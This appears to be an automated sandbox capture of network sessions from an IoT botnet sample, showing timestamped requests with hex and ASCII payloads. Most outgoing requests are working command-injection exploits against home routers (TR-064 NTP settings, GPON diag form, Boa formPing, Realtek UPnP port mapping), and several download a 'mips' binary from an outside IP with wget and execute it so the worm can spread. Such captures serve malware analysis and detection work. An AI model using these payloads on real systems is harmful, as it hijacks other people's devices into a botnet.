Apr 15, 2024 08:52:43.282516956 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
356	192.168.2.13	37586	14.87.222.8	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:43.300852060 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
357	192.168.2.13	5870	200.169.84.54	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:43.558073997 CEST	32	IN	Data Raw: 28 52 65 66 2e 49 64 3a 20 3f 73 4b 66 59 52 73 43 34 4d 34 61 32 57 38 50 61 43 34 7a 46 3f 29 Data Ascii: (Ref.Id: ?sKfYRsC4M4a2W8PaC4zF?)

Session ID	Source IP	Source Port	Destination IP	Destination Port
358	192.168.2.13	59796	189.28.129.94	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:43.582961082 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:52:45.440468073 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:52:47.712467909 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:52:52.320473909 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:01.280456066 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:19.712428093 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:56.576498032 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
359	192.168.2.13	54094	178.135.98.118	1723

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:43.603823900 CEST	313	OUT	GET /boaform/admin/formPing?target_addr=%3Bcd%20%2Ftmp%3B%20wget%20http%3A%2F%2F213.232.235.166%2Fmips%3B%20chmod%20777%20mips%3B%20.%20%2Fmips%20netlink.selfrep%3B&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Hello, World

Session ID	Source IP	Source Port	Destination IP	Destination Port
360	192.168.2.13	40804	139.39.192.129	52869

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:43.872116089 CEST	918	OUT	POST /wanipcn.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 61 3b 20 2f 74 6d 70 2f 61 20 72 65 61 6c 74 65 6b 2e 73 65 6c 66 72 65 70 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`chmod 777 /tmp/a; /tmp/a realtek.selfrep`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Apr 15, 2024 08:52:44.031447887 CEST	1288	IN	HTTP/1.1 503 Service Unavailable Content-Type: text/html; charset=UTF-8 Content-Length: 11709 Connection: close P3P: CP="CAO PSA OUR" Expires: Thu, 01 Jan 1970 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 41 50 50 4c 49 43 41 54 49 4f 4e 20 42 4c 4f 43 4b 45 44 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 3e 0a 23 63 7b 62 6f 72 64 65 72 3a 33 70 78 20 73 6f 6c 69 64 20 23 61 61 61 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 6d 61 72 67 69 6e 3a 32 30 3b 70 61 64 64 69 6e 67 3a 32 30 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 48 65 6c 76 65 74 69 63 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 7d 0a 68 31 2c 68 32 2c 68 33 2c 68 34 2c 68 35 2c 68 36 2c 68 37 2c 68 38 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 7d 0a 68 32 2c 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 30 70 78 3b 7d 0a 68 31 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 68 32 7b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 7d 0a 68 33 7b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 34 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 35 7b 6d 61 72 67 69 6e 3a 32 30 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 36 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 68 37 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 7d 0a 68 38 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 66 6f 6e 74 2d 73 69 7a 65 3a 35 36 70 78 3b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 3b 7d 0a 62 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 23 65 37 65 38 65 39 22 3e 0a 3c 64 69 76 20 69 64 3d 22 63 22 3e 0a 3c 68 31 3e 0a 3c 69 6d 67 20 77 69 64 74 68 3d 22 35 30 30 22 20 73 72 63 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 6a 70 65 67 3b 62 61 73 65 36 34 2c 69 56 42 4f 52 77 30 4b 47 67 6f 41 41 41 41 4e 53 55 68 45 55 67 41 41 41 66 51 41 41 41 42 66 43 41 59 41 41 41 41 65 65 6a 55 54 41 41 41 57 6c 55 6c 45 51 56 52 34 58 75 31 64 43 66 53 33 78 52 52 2b 45 69 48 4b 6b 69 49 6c 61 61 4f 79 6c 45 4a 4b 53 65 67 6f 57 34 68 30 4f 4b 58 51 6b 65 78 4c 6c 70 41 74 74 4b 47 4f 49 78 57 79 5a 6b 39 6f 51 32 52 72 49 55 75 70 4a 45 4a 55 6f 74 4b 69 49 69 48 4f 55 2b 2b 63 4d 39 2f 30 4c 6a 4e 33 35 74 31 2b 33 33 50 50 2b 5a 39 76 2b 63 2f 63 75 66 50 4d 76 50 50 4d 63 75 66 4f 4d 70 41 49 41 53 45 67 42 49 53 41 45 42 41 43 73 30 64 67 6d 64 6e 58 51 42 55 51 41 6b 4a 41 43 41 67 42 49 53 41 45 49 45 4a 58 4a 78 41 43 51 6b 41 49 43 41 45 68 73 41 41 49 69 4e 41 58 6f 42 46 56 42 53 45 67 42 49 53 41 45 42 41 43 49 6e 54 31 41 53 45 67 Data Ascii: <html><head><title>APPLICATION BLOCKED</title><style>#c{border:3px solid #aaa;background-color:#fff;margin:20;padding:20;font-family:Tahoma,Helvetica,Arial,sans-serif;font-size:12px;}h1,h2,h3,h4,h5,h6,h7,h8{font-weight:bold;}h2,h3{font-size:20px;}h1{text-align:center;font-size:22px;color:#cc0000;}h2{color:#330066;}h3{color:#666;}h4{font-size:16px;color:#666;}h5{margin:20;text-align:left;font-size:12px;color:#666;}h6{font-size:16px;color:#cc0000;}h7{font-size:14px;color:#330066;}h8{text-align:center;font-size:56px;color:#330066;font-weight:bold;text-decoration:underline;}b{font-size:16px;font-weight:bold;color:#cc0000;}</style></head><body bgcolor="#e7e8e9"><div id="c"><h1><img width="500" src="data:image/jpeg;base64,iVBORw0KGgoAAAANSUhEUgAAAfQAAABfCAYAAAAeejUTAAAWlUlEQVR4Xu1dCfS3xRR+EiHKkiIlaaOylEJKSegoW4h0OKXQkexLlpAttKGOIxWyZk9oQ2RrIUupJEJUotKiIiHOU++cM9/0LjN35t1+33PP+Z9v+c/cufPMvPPMcufOMpAIASEgBISAEBACs0dgmdnXQBUQAkJACAgBISAEIEJXJxACQkAICAEhsAAIiNAXoBFVBSEgBISAEBACInT1ASEg

Session ID	Source IP	Source Port	Destination IP	Destination Port
361	192.168.2.13	35814	154.55.225.106	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:43.879239082 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:52:44.175549030 CEST	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 15 Apr 2024 06:52:44 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
362	192.168.2.13	47538	18.195.32.239	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:43.885912895 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:52:44.188606024 CEST	321	IN	HTTP/1.1 400 Bad Request Server: nginx/1.16.1 Date: Mon, 15 Apr 2024 06:52:44 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
363	192.168.2.13	42236	52.85.13.219	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:43.900423050 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:52:44.217353106 CEST	1275	IN	HTTP/1.1 400 Bad Request Server: CloudFront Date: Mon, 15 Apr 2024 06:52:44 GMT Content-Type: text/html Content-Length: 915 Connection: close X-Cache: Error from cloudfront Via: 1.1 7f372fbfab25846c6c98387f424553e2.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FCO50-C1 X-Amz-Cf-Id: K3x3OWPf0epllk8odtXIiodUpEC5SC9UvDrrB9WphDg-4gsyRjgMqg== Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 6c 6f 6f 73 65 2e 64 74 64 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 4f 4e 54 45 4e 54 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 3e 0a 3c 54 49 54 4c 45 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 73 61 74 69 73 66 69 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 34 30 30 20 45 52 52 4f 52 3c 2f 48 31 3e 0a 3c 48 32 3e 54 68 65 20 72 65 71 75 65 73 74 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 73 61 74 69 73 66 69 65 64 2e 3c 2f 48 32 3e 0a 3c 48 52 20 6e 6f 73 68 61 64 65 20 73 69 7a 65 3d 22 31 70 78 22 3e 0a 42 61 64 20 72 65 71 75 65 73 74 2e 0a 57 65 20 63 61 6e 27 74 20 63 6f 6e 6e 65 63 74 20 74 6f 20 74 68 65 20 73 65 72 76 65 72 20 66 6f 72 20 74 68 69 73 20 61 70 70 20 6f 72 20 77 65 62 73 69 74 65 20 61 74 20 74 68 69 73 20 74 69 6d 65 2e 20 54 68 65 72 65 20 6d 69 67 68 74 20 62 65 20 74 6f 6f 20 6d 75 63 68 20 74 72 61 66 66 69 63 20 6f 72 20 61 20 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 65 72 72 6f 72 2e 20 54 72 79 20 61 67 61 69 6e 20 6c 61 74 65 72 2c 20 6f 72 20 63 6f 6e 74 61 63 74 20 74 68 65 20 61 70 70 20 6f 72 20 77 65 62 73 69 74 65 20 6f 77 6e 65 72 2e 0a 3c 42 52 20 63 6c 65 61 72 3d 22 61 6c 6c 22 3e 0a 49 66 20 79 6f 75 20 70 72 6f 76 69 64 65 20 63 